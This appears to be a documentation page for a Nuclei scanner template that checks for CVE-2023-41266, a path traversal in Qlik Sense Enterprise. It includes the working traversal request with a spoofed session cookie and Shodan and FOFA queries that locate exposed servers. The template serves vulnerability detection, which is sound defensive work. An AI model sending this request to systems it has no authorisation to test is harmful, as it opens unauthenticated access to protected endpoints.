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Qlik Sense Enterprise - Path Traversal

ID: CVE-2023-41266

Severity: medium

Author: AdamCrosser

Tags: cve2023,cve,qlik,traversal,kev,windows

Description

Section titled “Description”

A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.

YAML Source

Section titled “YAML Source”
id: CVE-2023-41266


info:
  name: Qlik Sense Enterprise - Path Traversal
  author: AdamCrosser
  severity: medium
  description: A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.
  reference:
    - https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801
    - https://www.praetorian.com/blog/advisory-qlik-sense/
    - https://www.praetorian.com/blog/qlik-sense-technical-exploit
    - https://community.qlik.com/t5/Release-Notes/tkb-p/ReleaseNotes
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-41266
    cwe-id: CWE-20
    epss-score: 0.86555
    epss-percentile: 0.98585
    cpe: cpe:2.3:a:qlik:qlik_sense:august_2022:-:*:*:enterprise:windows:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qlik
    product: qlik_sense
    framework: windows
    shodan-query:
      - http.favicon.hash:-74348711
      - http.html:"qlik"
      - http.title:"qlik-sense"
    fofa-query:
      - app="qlik-sense"
      - title="qlik-sense"
      - icon_hash=-74348711
      - body="qlik"
    google-query: intitle:"qlik-sense"
  tags: cve2023,cve,qlik,traversal,kev,windows


http:
  - method: GET
    path:
      - "{{BaseURL}}/resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf"
    headers:
      Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337
      X-Qlik-Xrfkey: '1333333333333337'


    matchers:
      - type: dsl
        dsl:
          - status_code == 400
          - contains(to_lower(set_cookie), 'x-qlik-session')
          - contains(body, 'The comparison expression does not consist of three elements')
        condition: and
# digest: 4a0a00473045022100c5fe5c845aab0413aced47467001c51ba68c8de118b1b17cb69c6fdebb61baae02202f86f8a7e471cd37eb325dafe15701171c0f92531ea567dc833a613a428f79f0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-41266.yaml"

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